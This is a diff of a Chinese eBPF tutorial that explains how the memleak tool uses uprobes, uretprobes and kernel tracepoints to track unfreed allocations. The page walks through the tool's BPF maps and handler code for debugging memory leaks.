调试内存泄漏问题是一项复杂且挑战性的任务。这涉及到详细检查应用程序的配置、内存分配和释放情况,通常需要应用专门的工具来帮助诊断。例如,有一些工具可以在应用程序启动时将 malloc() 函数调用与特定的检测工具关联起来,如 Valgrind memcheck,这类工具可以模拟 CPU 来检查所有内存访问,但可能会导致应用程序运行速度大大减慢。另一个选择是使用堆分析器,如 libtcmalloc,它相对较快,但仍可能使应用程序运行速度降低五倍以上。此外,还有一些工具,如 gdb,可以获取应用程序的核心转储并进行后处理以分析内存使用情况。然而,这些工具通常在获取核心转储时需要暂停应用程序,或在应用程序终止后才能调用 free() 函数。

+

eBPF 的作用

+

在这种背景下,eBPF 的作用就显得尤为重要。eBPF 提供了一种高效的机制来监控和追踪系统级别的事件,包括内存的分配和释放。通过 eBPF,我们可以跟踪内存分配和释放的请求,并收集每次分配的调用堆栈。然后,我们可以分

+

析这些信息,找出执行了内存分配但未执行释放操作的调用堆栈,这有助于我们找出导致内存泄漏的源头。这种方式的优点在于,它可以实时地在运行的应用程序中进行,而无需暂停应用程序或进行复杂的前后处理。

+

memleak eBPF 工具可以跟踪并匹配内存分配和释放的请求,并收集每次分配的调用堆栈。随后,memleak 可以打印一个总结,表明哪些调用堆栈执行了分配,但是并没有随后进行释放。例如,我们运行命令:

+
# ./memleak -p $(pidof allocs)
+Attaching to pid 5193, Ctrl+C to quit.
+[11:16:33] Top 2 stacks with outstanding allocations:
+        80 bytes in 5 allocations from stack
+                 main+0x6d [allocs]
+                 __libc_start_main+0xf0 [libc-2.21.so]
 
-struct {
-	__uint(type, BPF_MAP_TYPE_HASH);
-	__type(key, u64); /* address */
-	__type(value, struct alloc_info);
-	__uint(max_entries, ALLOCS_MAX_ENTRIES);
-} allocs SEC(".maps");
+[11:16:34] Top 2 stacks with outstanding allocations:
+        160 bytes in 10 allocations from stack
+                 main+0x6d [allocs]
+                 __libc_start_main+0xf0 [libc-2.21.so]
+
+

运行这个命令后,我们可以看到分配但未释放的内存来自于哪些堆栈,并且可以看到这些未释放的内存的大小和数量。

+

随着时间的推移,很显然,allocs 进程的 main 函数正在泄漏内存,每次泄漏 16 字节。幸运的是,我们不需要检查每个分配,我们得到了一个很好的总结,告诉我们哪个堆栈负责大量的泄漏。

+

memleak 的实现原理

+

在基本层面上,memleak 的工作方式类似于在内存分配和释放路径上安装监控设备。它通过在内存分配和释放函数中插入 eBPF 程序来达到这个目标。这意味着,当这些函数被调用时,memleak 就会记录一些重要信息,如调用者的进程 ID(PID)、分配的内存地址以及分配的内存大小等。当释放内存的函数被调用时,memleak 则会在其内部的映射表(map)中删除相应的内存分配记录。这种机制使得 memleak 能够准确地追踪到哪些内存块已被分配但未被释放。

+

对于用户态的常用内存分配函数,如 malloccalloc 等,memleak 利用了用户态探测(uprobe)技术来实现监控。uprobe 是一种用于用户空间应用程序的动态追踪技术,它可以在运行时不修改二进制文件的情况下在任意位置设置断点,从而实现对特定函数调用的追踪。

+

对于内核态的内存分配函数,如 kmalloc 等,memleak 则选择使用了 tracepoint 来实现监控。Tracepoint 是一种在 Linux 内核中提供的动态追踪技术,它可以在内核运行时动态地追踪特定的事件,而无需重新编译内核或加载内核模块。

+

内核态 eBPF 程序实现

+

memleak 内核态 eBPF 程序实现

+

memleak 的内核态 eBPF 程序包含一些用于跟踪内存分配和释放的关键函数。在我们深入了解这些函数之前,让我们首先观察 memleak 所定义的一些数据结构,这些结构在其内核态和用户态程序中均有使用。

+
#ifndef __MEMLEAK_H
+#define __MEMLEAK_H
 
-struct {
-	__uint(type, BPF_MAP_TYPE_HASH);
-	__type(key, u64); /* stack id */
-	__type(value, union combined_alloc_info);
-	__uint(max_entries, COMBINED_ALLOCS_MAX_ENTRIES);
-} combined_allocs SEC(".maps");
-
-struct {
-	__uint(type, BPF_MAP_TYPE_HASH);
-	__type(key, u64);
-	__type(value, u64);
-	__uint(max_entries, 10240);
-} memptrs SEC(".maps");
-
-struct {
-	__uint(type, BPF_MAP_TYPE_STACK_TRACE);
-	__type(key, u32);
-} stack_traces SEC(".maps"); 
+#define ALLOCS_MAX_ENTRIES 1000000
+#define COMBINED_ALLOCS_MAX_ENTRIES 10240
 
 struct alloc_info {
-	__u64 size;
-	__u64 timestamp_ns;
-	int stack_id;
+    __u64 size;            // 分配的内存大小
+    __u64 timestamp_ns;    // 分配时的时间戳,单位为纳秒
+    int stack_id;          // 分配时的调用堆栈ID
 };
 
 union combined_alloc_info {
-	struct {
-		__u64 total_size : 40;
-		__u64 number_of_allocs : 24;
-	};
-	__u64 bits;
+    struct {
+        __u64 total_size : 40;        // 所有未释放分配的总大小
+        __u64 number_of_allocs : 24;   // 所有未释放分配的总次数
+    };
+    __u64 bits;    // 结构的位图表示
 };
+
+#endif /* __MEMLEAK_H */
 
-

这段代码定义了memleak工具中使用的5个BPF Map:

-
    -
  • sizes用于记录程序中每个内存分配请求的大小;
  • -
  • allocs用于跟踪每个内存分配请求的详细信息,包括请求的大小、堆栈信息等;
  • -
  • combined_allocs的键是堆栈的唯一标识符(stack id),值是一个combined_alloc_info联合体,用于记录该堆栈的内存分配总大小和内存分配数量;
  • -
  • memptrs用于跟踪每个内存分配请求返回的指针,以便在内存释放请求到来时找到对应的内存分配请求;
  • -
  • stack_traces是一个堆栈跟踪类型的哈希表,用于存储每个线程的堆栈信息(key为线程id,value为堆栈跟踪信息)以便在内存分配和释放请求到来时能够追踪和分析相应的堆栈信息。
  • -
-

其中combined_alloc_info是一个联合体,其中包含一个结构体和一个unsigned long long类型的变量bits。结构体中的两个成员变量total_size和number_of_allocs分别表示总分配大小和分配的次数。其中40和24分别表示total_size和number_of_allocs这两个成员变量所占用的位数,用来限制其大小。通过这样的位数限制,可以节省combined_alloc_info结构的存储空间。同时,由于total_size和number_of_allocs在存储时是共用一个unsigned long long类型的变量bits,因此可以通过在成员变量bits上进行位运算来访问和修改total_size和number_of_allocs,从而避免了在程序中定义额外的变量和函数的复杂性。

-
static int gen_alloc_enter(size_t size)
-{
-	if (size < min_size || size > max_size)
-		return 0;
+

这里定义了两个主要的数据结构:alloc_infocombined_alloc_info

+

alloc_info 结构体包含了一个内存分配的基本信息,包括分配的内存大小 size、分配发生时的时间戳 timestamp_ns,以及触发分配的调用堆栈 ID stack_id

+

combined_alloc_info 是一个联合体(union),它包含一个嵌入的结构体和一个 __u64 类型的位图表示 bits。嵌入的结构体有两个成员:total_sizenumber_of_allocs,分别代表所有未释放分配的总大小和总次数。其中 40 和 24 分别表示 total_size 和 number_of_allocs这两个成员变量所占用的位数,用来限制其大小。通过这样的位数限制,可以节省combined_alloc_info结构的存储空间。同时,由于total_size和number_of_allocs在存储时是共用一个unsigned long long类型的变量bits,因此可以通过在成员变量bits上进行位运算来访问和修改total_size和number_of_allocs,从而避免了在程序中定义额外的变量和函数的复杂性。

+

接下来,memleak 定义了一系列用于保存内存分配信息和分析结果的 eBPF 映射(maps)。这些映射都以 SEC(".maps") 的形式定义,表示它们属于 eBPF 程序的映射部分。

+
const volatile size_t min_size = 0;
+const volatile size_t max_size = -1;
+const volatile size_t page_size = 4096;
+const volatile __u64 sample_rate = 1;
+const volatile bool trace_all = false;
+const volatile __u64 stack_flags = 0;
+const volatile bool wa_missing_free = false;
 
-	if (sample_rate > 1) {
-		if (bpf_ktime_get_ns() % sample_rate != 0)
-			return 0;
-	}
+struct {
+    __uint(type, BPF_MAP_TYPE_HASH);
+    __type(key, pid_t);
+    __type(value, u64);
+    __uint(max_entries, 10240);
+} sizes SEC(".maps");
 
-	const pid_t pid = bpf_get_current_pid_tgid() >> 32;
-	bpf_map_update_elem(&sizes, &pid, &size, BPF_ANY);
+struct {
+    __uint(type, BPF_MAP_TYPE_HASH);
+    __type(key, u64); /* address */
+    __type(value, struct alloc_info);
+    __uint(max_entries, ALLOCS_MAX_ENTRIES);
+} allocs SEC(".maps");
 
-	if (trace_all)
-		bpf_printk("alloc entered, size = %lu\n", size);
+struct {
+    __uint(type, BPF_MAP_TYPE_HASH);
+    __type(key, u64); /* stack id */
+    __type(value, union combined_alloc_info);
+    __uint(max_entries, COMBINED_ALLOCS_MAX_ENTRIES);
+} combined_allocs SEC(".maps");
 
-	return 0;
-}
+struct {
+    __uint(type, BPF_MAP_TYPE_HASH);
+    __type(key, u64);
+    __type(value, u64);
+    __uint(max_entries, 10240);
+} memptrs SEC(".maps");
 
-SEC("uprobe")
+struct {
+    __uint(type, BPF_MAP_TYPE_STACK_TRACE);
+    __type(key, u32);
+} stack_traces SEC(".maps");
+
+static union combined_alloc_info initial_cinfo;
+
+

这段代码首先定义了一些可配置的参数,如 min_size, max_size, page_size, sample_rate, trace_all, stack_flagswa_missing_free,分别表示最小分配大小、最大分配大小、页面大小、采样率、是否追踪所有分配、堆栈标志和是否工作在缺失释放(missing free)模式。

+

接着定义了五个映射:

+
    +
  1. sizes:这是一个哈希类型的映射,键为进程 ID,值为 u64 类型,存储每个进程的分配大小。
  2. +
  3. allocs:这也是一个哈希类型的映射,键为分配的地址,值为 alloc_info 结构体,存储每个内存分配的详细信息。
  4. +
  5. combined_allocs:这是另一个哈希类型的映射,键为堆栈 ID,值为 combined_alloc_info 联合体,存储所有未释放分配的总大小和总次数。
  6. +
  7. memptrs:这也是一个哈希类型的映射,键和值都为 u64 类型,用于在用户空间和内核空间之间传递内存指针。
  8. +
  9. stack_traces:这是一个堆栈追踪类型的映射,键为 u32 类型,用于存储堆栈 ID。
  10. +
+

以用户态的内存分配追踪部分为例,主要是挂钩内存相关的函数调用,如 malloc, free, calloc, realloc, mmapmunmap,以便在调用这些函数时进行数据记录。在用户态,memleak 主要使用了 uprobes 技术进行挂载。

+

每个函数调用被分为 "enter" 和 "exit" 两部分。"enter" 部分记录的是函数调用的参数,如分配的大小或者释放的地址。"exit" 部分则主要用于获取函数的返回值,如分配得到的内存地址。

+

这里,gen_alloc_enter, gen_alloc_exit, gen_free_enter 是实现记录行为的函数,他们分别用于记录分配开始、分配结束和释放开始的相关信息。

+

函数原型示例如下:

+
SEC("uprobe")
 int BPF_KPROBE(malloc_enter, size_t size)
 {
-	return gen_alloc_enter(size);
-}
-
-

这个函数用于处理内存分配请求的进入事件。它会首先检查内存分配请求的大小是否在指定的范围内,如果不在范围内,则直接返回0表示不处理该事件。如果启用了采样率(sample_rate > 1),则该函数会采样内存分配请求的进入事件。如果当前时间戳不是采样周期的倍数,则也会直接返回0,表示不处理该事件。接下来,该函数会获取当前线程的PID并将其存储在pid变量中。然后,它会将当前线程的pid和请求的内存分配大小存储在sizes map中,以便后续收集和分析内存分配信息。如果开启了跟踪模式(trace_all),该函数会通过bpf_printk打印日志信息,以便用户实时监控内存分配的情况。

-

最后定义了BPF_KPROBE(malloc_enter, size_t size),它会在malloc函数被调用时被BPF uprobe拦截执行,并通过gen_alloc_enter来记录内存分配大小。

-
static void update_statistics_add(u64 stack_id, u64 sz)
-{
-	union combined_alloc_info *existing_cinfo;
-
-	existing_cinfo = bpf_map_lookup_or_try_init(&combined_allocs, &stack_id, &initial_cinfo);
-	if (!existing_cinfo)
-		return;
-
-	const union combined_alloc_info incremental_cinfo = {
-		.total_size = sz,
-		.number_of_allocs = 1
-	};
-
-	__sync_fetch_and_add(&existing_cinfo->bits, incremental_cinfo.bits);
-}
-static int gen_alloc_exit2(void *ctx, u64 address)
-{
-	const pid_t pid = bpf_get_current_pid_tgid() >> 32;
-	struct alloc_info info;
-
-	const u64* size = bpf_map_lookup_elem(&sizes, &pid);
-	if (!size)
-		return 0; // missed alloc entry
-
-	__builtin_memset(&info, 0, sizeof(info));
-
-	info.size = *size;
-	bpf_map_delete_elem(&sizes, &pid);
-
-	if (address != 0) {
-		info.timestamp_ns = bpf_ktime_get_ns();
-
-		info.stack_id = bpf_get_stackid(ctx, &stack_traces, stack_flags);
-
-		bpf_map_update_elem(&allocs, &address, &info, BPF_ANY);
-
-		update_statistics_add(info.stack_id, info.size);
-	}
-
-	if (trace_all) {
-		bpf_printk("alloc exited, size = %lu, result = %lx\n",
-				info.size, address);
-	}
-
-	return 0;
-}
-static int gen_alloc_exit(struct pt_regs *ctx)
-{
-	return gen_alloc_exit2(ctx, PT_REGS_RC(ctx));
+    // 记录分配开始的相关信息
+    return gen_alloc_enter(size);
 }
 
 SEC("uretprobe")
 int BPF_KRETPROBE(malloc_exit)
 {
-	return gen_alloc_exit(ctx);
-}
-
-

gen_alloc_exit2函数会在内存释放时被调用,它用来记录内存释放的信息,并更新相关的 map。具体地,它首先通过 bpf_get_current_pid_tgid 来获取当前进程的 PID,并将其右移32位,获得PID值,然后使用 bpf_map_lookup_elem 查找 sizes map 中与该 PID 相关联的内存分配大小信息,并将其赋值给 info.size。如果找不到相应的 entry,则返回 0,表示在内存分配时没有记录到该 PID 相关的信息。接着,它会调用 __builtin_memset 来将 info 的所有字段清零,并调用 bpf_map_delete_elem 来删除 sizes map 中与该 PID 相关联的 entry。

-

如果 address 不为 0,则说明存在相应的内存分配信息,此时它会调用 bpf_ktime_get_ns 来获取当前时间戳,并将其赋值给 info.timestamp_ns。然后,它会调用 bpf_get_stackid 来获取当前函数调用堆栈的 ID,并将其赋值给 info.stack_id。最后,它会调用 bpf_map_update_elem 来将 address 和 info 相关联,即将 address 映射到 info。随后,它会调用 update_statistics_add 函数来更新 combined_allocs map 中与 info.stack_id 相关联的内存分配信息。

-

最后,如果 trace_all 为真,则会调用 bpf_printk 打印相关的调试信息。

-

update_statistics_add函数的主要作用是更新内存分配的统计信息,其中参数stack_id是当前内存分配的堆栈ID,sz是当前内存分配的大小。该函数首先通过bpf_map_lookup_or_try_init函数在combined_allocs map中查找与当前堆栈ID相关联的combined_alloc_info结构体,如果找到了,则将新的分配大小和分配次数加入到已有的combined_alloc_info结构体中;如果未找到,则使用initial_cinfo初始化一个新的combined_alloc_info结构体,并添加到combined_allocs map中。

-

更新combined_alloc_info结构体的方法是使用__sync_fetch_and_add函数,原子地将incremental_cinfo中的值累加到existing_cinfo中的值中。通过这种方式,即使多个线程同时调用update_statistics_add函数,也可以保证计数的正确性。

-

在gen_alloc_exit函数中,将ctx参数传递给gen_alloc_exit2函数,并将它的返回值作为自己的返回值。这里使用了PT_REGS_RC宏获取函数返回值。

-

最后定义的BPF_KRETPROBE(malloc_exit)是一个kretprobe类型的函数,用于在malloc函数返回时执行。并调用gen_alloc_exit函数跟踪内存分配和释放的请求。

-
static void update_statistics_del(u64 stack_id, u64 sz)
-{
-	union combined_alloc_info *existing_cinfo;
-
-	existing_cinfo = bpf_map_lookup_elem(&combined_allocs, &stack_id);
-	if (!existing_cinfo) {
-		bpf_printk("failed to lookup combined allocs\n");
-
-		return;
-	}
-
-	const union combined_alloc_info decremental_cinfo = {
-		.total_size = sz,
-		.number_of_allocs = 1
-	};
-
-	__sync_fetch_and_sub(&existing_cinfo->bits, decremental_cinfo.bits);
-}
-
-static int gen_free_enter(const void *address)
-{
-	const u64 addr = (u64)address;
-
-	const struct alloc_info *info = bpf_map_lookup_elem(&allocs, &addr);
-	if (!info)
-		return 0;
-
-	bpf_map_delete_elem(&allocs, &addr);
-	update_statistics_del(info->stack_id, info->size);
-
-	if (trace_all) {
-		bpf_printk("free entered, address = %lx, size = %lu\n",
-				address, info->size);
-	}
-
-	return 0;
+    // 记录分配结束的相关信息
+    return gen_alloc_exit(ctx);
 }
 
 SEC("uprobe")
 int BPF_KPROBE(free_enter, void *address)
 {
-	return gen_free_enter(address);
+    // 记录释放开始的相关信息
+    return gen_free_enter(address);
 }
 
-

gen_free_enter函数接收一个地址参数,该函数首先使用allocs map查找该地址对应的内存分配信息。如果未找到,则表示该地址没有被分配,该函数返回0。如果找到了对应的内存分配信息,则使用bpf_map_delete_elem从allocs map中删除该信息。

-

接下来,调用update_statistics_del函数用于更新内存分配的统计信息,它接收堆栈ID和内存块大小作为参数。首先在combined_allocs map中查找堆栈ID对应的内存分配统计信息。如果没有找到,则输出一条日志,表示查找失败,并且函数直接返回。如果找到了对应的内存分配统计信息,则使用原子操作从内存分配统计信息中减去该内存块大小和1(表示减少了1个内存块)。这是因为堆栈ID对应的内存块数量减少了1,而堆栈ID对应的内存块总大小也减少了该内存块的大小。

-

最后定义了一个bpf程序BPF_KPROBE(free_enter, void *address)会在进程调用free函数时执行。它会接收参数address,表示正在释放的内存块的地址,并调用gen_free_enter函数来处理该内存块的释放。

+

其中,malloc_enterfree_enter 是分别挂载在 mallocfree 函数入口处的探针(probes),用于在函数调用时进行数据记录。而 malloc_exit 则是挂载在 malloc 函数的返回处的探针,用于记录函数的返回值。

+

这些函数使用了 BPF_KPROBEBPF_KRETPROBE 这两个宏来声明,这两个宏分别用于声明 kprobe(内核探针)和 kretprobe(内核返回探针)。具体来说,kprobe 用于在函数调用时触发,而 kretprobe 则是在函数返回时触发。

+

gen_alloc_enter 函数是在内存分配请求的开始时被调用的。这个函数主要负责在调用分配内存的函数时收集一些基本的信息。下面我们将深入探讨这个函数的实现。

+
static int gen_alloc_enter(size_t size)
+{
+    if (size < min_size || size > max_size)
+        return 0;
+
+    if (sample_rate > 1) {
+        if (bpf_ktime_get_ns() % sample_rate != 0)
+            return 0;
+    }
+
+    const pid_t pid = bpf_get_current_pid_tgid() >> 32;
+    bpf_map_update_elem(&sizes, &pid, &size, BPF_ANY);
+
+    if (trace_all)
+        bpf_printk("alloc entered, size = %lu\n", size);
+
+    return 0;
+}
+
+SEC("uprobe")
+int BPF_KPROBE(malloc_enter, size_t size)
+{
+    return gen_alloc_enter(size);
+}
+
+

首先,gen_alloc_enter 函数接收一个 size 参数,这个参数表示请求分配的内存的大小。如果这个值不在 min_sizemax_size 之间,函数将直接返回,不再进行后续的操作。这样可以使工具专注于追踪特定范围的内存分配请求,过滤掉不感兴趣的分配请求。

+

接下来,函数检查采样率 sample_rate。如果 sample_rate 大于1,意味着我们不需要追踪所有的内存分配请求,而是周期性地追踪。这里使用 bpf_ktime_get_ns 获取当前的时间戳,然后通过取模运算来决定是否需要追踪当前的内存分配请求。这是一种常见的采样技术,用于降低性能开销,同时还能够提供一个代表性的样本用于分析。

+

之后,函数使用 bpf_get_current_pid_tgid 函数获取当前进程的 PID。注意这里的 PID 实际上是进程和线程的组合 ID,我们通过右移 32 位来获取真正的进程 ID。

+

函数接下来更新 sizes 这个 map,这个 map 以进程 ID 为键,以请求的内存分配大小为值。BPF_ANY 表示如果 key 已存在,那么更新 value,否则就新建一个条目。

+

最后,如果启用了 trace_all 标志,函数将打印一条信息,说明发生了内存分配。

+

BPF_KPROBE 宏用于

+

最后定义了 BPF_KPROBE(malloc_enter, size_t size),它会在 malloc 函数被调用时被 BPF uprobe 拦截执行,并通过 gen_alloc_enter 来记录内存分配大小。 +我们刚刚分析了内存分配的入口函数 gen_alloc_enter,现在我们来关注这个过程的退出部分。具体来说,我们将讨论 gen_alloc_exit2 函数以及如何从内存分配调用中获取返回的内存地址。

+
static int gen_alloc_exit2(void *ctx, u64 address)
+{
+    const pid_t pid = bpf_get_current_pid_tgid() >> 32;
+    struct alloc_info info;
+
+    const u64* size = bpf_map_lookup_elem(&sizes, &pid);
+    if (!size)
+        return 0; // missed alloc entry
+
+    __builtin_memset(&info, 0, sizeof(info));
+
+    info.size = *size;
+    bpf_map_delete_elem(&sizes, &pid);
+
+    if (address != 0) {
+        info.timestamp_ns = bpf_ktime_get_ns();
+
+        info.stack_id = bpf_get_stackid(ctx, &stack_traces, stack_flags);
+
+        bpf_map_update_elem(&allocs, &address, &info, BPF_ANY);
+
+        update_statistics_add(info.stack_id, info.size);
+    }
+
+    if (trace_all) {
+        bpf_printk("alloc exited, size = %lu, result = %lx\n",
+                info.size, address);
+    }
+
+    return 0;
+}
+static int gen_alloc_exit(struct pt_regs *ctx)
+{
+    return gen_alloc_exit2(ctx, PT_REGS_RC(ctx));
+}
+
+SEC("uretprobe")
+int BPF_KRETPROBE(malloc_exit)
+{
+    return gen_alloc_exit(ctx);
+}
+
+

gen_alloc_exit2 函数在内存分配操作完成时被调用,这个函数接收两个参数,一个是上下文 ctx,另一个是内存分配函数返回的内存地址 address

+

首先,它获取当前线程的 PID,然后使用这个 PID 作为键在 sizes 这个 map 中查找对应的内存分配大小。如果没有找到(也就是说,没有对应的内存分配操作的入口),函数就会直接返回。

+

接着,函数清除 info 结构体的内容,并设置它的 size 字段为之前在 map 中找到的内存分配大小。并从 sizes 这个 map 中删除相应的元素,因为此时内存分配操作已经完成,不再需要这个信息。

+

接下来,如果 address 不为 0(也就是说,内存分配操作成功了),函数就会进一步收集一些额外的信息。首先,它获取当前的时间戳作为内存分配完成的时间,并获取当前的堆栈跟踪。这些信息都会被储存在 info 结构体中,并随后更新到 allocs 这个 map 中。

+

最后,函数调用 update_statistics_add 更新统计数据,如果启用了所有内存分配操作的跟踪,函数还会打印一些关于内存分配操作的信息。

+

请注意,gen_alloc_exit 函数是 gen_alloc_exit2 的一个包装,它将 PT_REGS_RC(ctx) 作为 address 参数传递给 gen_alloc_exit2在我们的讨论中,我们刚刚提到在gen_alloc_exit2函数中,调用了update_statistics_add` 函数以更新内存分配的统计数据。下面我们详细看一下这个函数的具体实现。

+
static void update_statistics_add(u64 stack_id, u64 sz)
+{
+    union combined_alloc_info *existing_cinfo;
+
+    existing_cinfo = bpf_map_lookup_or_try_init(&combined_allocs, &stack_id, &initial_cinfo);
+    if (!existing_cinfo)
+        return;
+
+    const union combined_alloc_info incremental_cinfo = {
+        .total_size = sz,
+        .number_of_allocs = 1
+    };
+
+    __sync_fetch_and_add(&existing_cinfo->bits, incremental_cinfo.bits);
+}
+
+

update_statistics_add 函数接收两个参数:当前的堆栈 ID stack_id 以及内存分配的大小 sz。这两个参数都在内存分配事件中收集到,并且用于更新内存分配的统计数据。

+

首先,函数尝试在 combined_allocs 这个 map 中查找键值为当前堆栈 ID 的元素,如果找不到,就用 initial_cinfo(这是一个默认的 combined_alloc_info 结构体,所有字段都为零)来初始化新的元素。

+

接着,函数创建一个 incremental_cinfo,并设置它的 total_size 为当前内存分配的大小,设置 number_of_allocs 为 1。这是因为每次调用 update_statistics_add 函数都表示有一个新的内存分配事件发生,而这个事件的内存分配大小就是 sz

+

最后,函数使用 __sync_fetch_and_add 函数原子地将 incremental_cinfo 的值加到 existing_cinfo 中。请注意这个步骤是线程安全的,即使有多个线程并发地调用 update_statistics_add 函数,每个内存分配事件也能正确地记录到统计数据中。

+

总的来说,update_statistics_add 函数实现了内存分配统计的更新逻辑,通过维护每个堆栈 ID 的内存分配总量和次数,我们可以深入了解到程序的内存分配行为。 +在我们对内存分配的统计跟踪过程中,我们不仅要统计内存的分配,还要考虑内存的释放。在上述代码中,我们定义了一个名为 update_statistics_del 的函数,其作用是在内存释放时更新统计信息。而 gen_free_enter 函数则是在进程调用 free 函数时被执行。

+
static void update_statistics_del(u64 stack_id, u64 sz)
+{
+    union combined_alloc_info *existing_cinfo;
+
+    existing_cinfo = bpf_map_lookup_elem(&combined_allocs, &stack_id);
+    if (!existing_cinfo) {
+        bpf_printk("failed to lookup combined allocs\n");
+        return;
+    }
+
+    const union combined_alloc_info decremental_cinfo = {
+        .total_size = sz,
+        .number_of_allocs = 1
+    };
+
+    __sync_fetch_and_sub(&existing_cinfo->bits, decremental_cinfo.bits);
+}
+
+

update_statistics_del 函数的参数为堆栈 ID 和要释放的内存块大小。函数首先在 combined_allocs 这个 map 中使用当前的堆栈 ID 作为键来查找相应的 combined_alloc_info 结构体。如果找不到,就输出错误信息,然后函数返回。如果找到了,就会构造一个名为 decremental_cinfocombined_alloc_info 结构体,设置它的 total_size 为要释放的内存大小,设置 number_of_allocs 为 1。然后使用 __sync_fetch_and_sub 函数原子地从 existing_cinfo 中减去 decremental_cinfo 的值。请注意,这里的 number_of_allocs 是负数,表示减少了一个内存分配。

+
static int gen_free_enter(const void *address)
+{
+    const u64 addr = (u64)address;
+
+    const struct alloc_info *info = bpf_map_lookup_elem(&allocs, &addr);
+    if (!info)
+        return 0;
+
+    bpf_map_delete_elem(&allocs, &addr);
+    update_statistics_del(info->stack_id, info->size);
+
+    if (trace_all) {
+        bpf_printk("free entered, address = %lx, size = %lu\n",
+                address, info->size);
+    }
+
+    return 0;
+}
+
+SEC("uprobe")
+int BPF_KPROBE(free_enter, void *address)
+{
+    return gen_free_enter(address);
+}
+
+

接下来看 gen_free_enter 函数。它接收一个地址作为参数,这个地址是内存分配的结果,也就是将要释放的内存的起始地址。函数首先在 allocs 这个 map 中使用这个地址作为键来查找对应的 alloc_info 结构体。如果找不到,那么就直接返回,因为这意味着这个地址并没有被分配过。如果找到了,那么就删除这个元素,并且调用 update_statistics_del 函数来更新统计数据。最后,如果启用了全局追踪,那么还会输出一条信息,包括这个地址以及它的大小。 +在我们追踪和统计内存分配的同时,我们也需要对内核态的内存分配和释放进行追踪。在Linux内核中,kmem_cache_alloc函数和kfree函数分别用于内核态的内存分配和释放。

+
SEC("tracepoint/kmem/kfree")
+int memleak__kfree(void *ctx)
+{
+    const void *ptr;
+
+    if (has_kfree()) {
+        struct trace_event_raw_kfree___x *args = ctx;
+        ptr = BPF_CORE_READ(args, ptr);
+    } else {
+        struct trace_event_raw_kmem_free___x *args = ctx;
+        ptr = BPF_CORE_READ(args, ptr);
+    }
+
+    return gen_free_enter(ptr);
+}
+
+

上述代码片段定义了一个函数memleak__kfree,这是一个bpf程序,会在内核调用kfree函数时执行。首先,该函数检查是否存在kfree函数。如果存在,则会读取传递给kfree函数的参数(即要释放的内存块的地址),并保存到变量ptr中;否则,会读取传递给kmem_free函数的参数(即要释放的内存块的地址),并保存到变量ptr中。接着,该函数会调用之前定义的gen_free_enter函数来处理该内存块的释放。

+
SEC("tracepoint/kmem/kmem_cache_alloc")
+int memleak__kmem_cache_alloc(struct trace_event_raw_kmem_alloc *ctx)
+{
+    if (wa_missing_free)
+        gen_free_enter(ctx->ptr);
+
+    gen_alloc_enter(ctx->bytes_alloc);
+
+    return gen_alloc_exit2(ctx, (u64)(ctx->ptr));
+}
+
+

这段代码定义了一个函数 memleak__kmem_cache_alloc,这也是一个bpf程序,会在内核调用 kmem_cache_alloc 函数时执行。如果标记 wa_missing_free 被设置,则调用 gen_free_enter 函数处理可能遗漏的释放操作。然后,该函数会调用 gen_alloc_enter 函数来处理内存分配,最后调用gen_alloc_exit2函数记录分配的结果。

+

这两个 bpf 程序都使用了 SEC 宏定义了对应的 tracepoint,以便在相应的内核函数被调用时得到执行。在Linux内核中,tracepoint 是一种可以在内核中插入的静态钩子,可以用来收集运行时的内核信息,它在调试和性能分析中非常有用。

+

在理解这些代码的过程中,要注意 BPF_CORE_READ 宏的使用。这个宏用于在 bpf 程序中读取内核数据。在 bpf 程序中,我们不能直接访问内核内存,而需要使用这样的宏来安全地读取数据。

+

用户态程序

+

在理解 BPF 内核部分之后,我们转到用户空间程序。用户空间程序与BPF内核程序紧密配合,它负责将BPF程序加载到内核,设置和管理BPF map,以及处理从BPF程序收集到的数据。用户态程序较长,我们这里可以简要参考一下它的挂载点。

+
int attach_uprobes(struct memleak_bpf *skel)
+{
+    ATTACH_UPROBE_CHECKED(skel, malloc, malloc_enter);
+    ATTACH_URETPROBE_CHECKED(skel, malloc, malloc_exit);
+
+    ATTACH_UPROBE_CHECKED(skel, calloc, calloc_enter);
+    ATTACH_URETPROBE_CHECKED(skel, calloc, calloc_exit);
+
+    ATTACH_UPROBE_CHECKED(skel, realloc, realloc_enter);
+    ATTACH_URETPROBE_CHECKED(skel, realloc, realloc_exit);
+
+    ATTACH_UPROBE_CHECKED(skel, mmap, mmap_enter);
+    ATTACH_URETPROBE_CHECKED(skel, mmap, mmap_exit);
+
+    ATTACH_UPROBE_CHECKED(skel, posix_memalign, posix_memalign_enter);
+    ATTACH_URETPROBE_CHECKED(skel, posix_memalign, posix_memalign_exit);
+
+    ATTACH_UPROBE_CHECKED(skel, memalign, memalign_enter);
+    ATTACH_URETPROBE_CHECKED(skel, memalign, memalign_exit);
+
+    ATTACH_UPROBE_CHECKED(skel, free, free_enter);
+    ATTACH_UPROBE_CHECKED(skel, munmap, munmap_enter);
+
+    // the following probes are intentinally allowed to fail attachment
+
+    // deprecated in libc.so bionic
+    ATTACH_UPROBE(skel, valloc, valloc_enter);
+    ATTACH_URETPROBE(skel, valloc, valloc_exit);
+
+    // deprecated in libc.so bionic
+    ATTACH_UPROBE(skel, pvalloc, pvalloc_enter);
+    ATTACH_URETPROBE(skel, pvalloc, pvalloc_exit);
+
+    // added in C11
+    ATTACH_UPROBE(skel, aligned_alloc, aligned_alloc_enter);
+    ATTACH_URETPROBE(skel, aligned_alloc, aligned_alloc_exit);
+
+    return 0;
+}
+
+

在这段代码中,我们看到一个名为attach_uprobes的函数,该函数负责将uprobes(用户空间探测点)挂载到内存分配和释放函数上。在Linux中,uprobes是一种内核机制,可以在用户空间程序中的任意位置设置断点,这使得我们可以非常精确地观察和控制用户空间程序的行为。

+

这里,每个内存相关的函数都通过两个uprobes进行跟踪:一个在函数入口(enter),一个在函数退出(exit)。因此,每当这些函数被调用或返回时,都会触发一个uprobes事件,进而触发相应的BPF程序。

+

在具体的实现中,我们使用了ATTACH_UPROBEATTACH_URETPROBE两个宏来附加uprobes和uretprobes(函数返回探测点)。每个宏都需要三个参数:BPF程序的骨架(skel),要监视的函数名,以及要触发的BPF程序的名称。

+

这些挂载点包括常见的内存分配函数,如malloc、calloc、realloc、mmap、posix_memalign、memalign、free等,以及对应的退出点。另外,我们也观察一些可能的分配函数,如valloc、pvalloc、aligned_alloc等,尽管它们可能不总是存在。

+

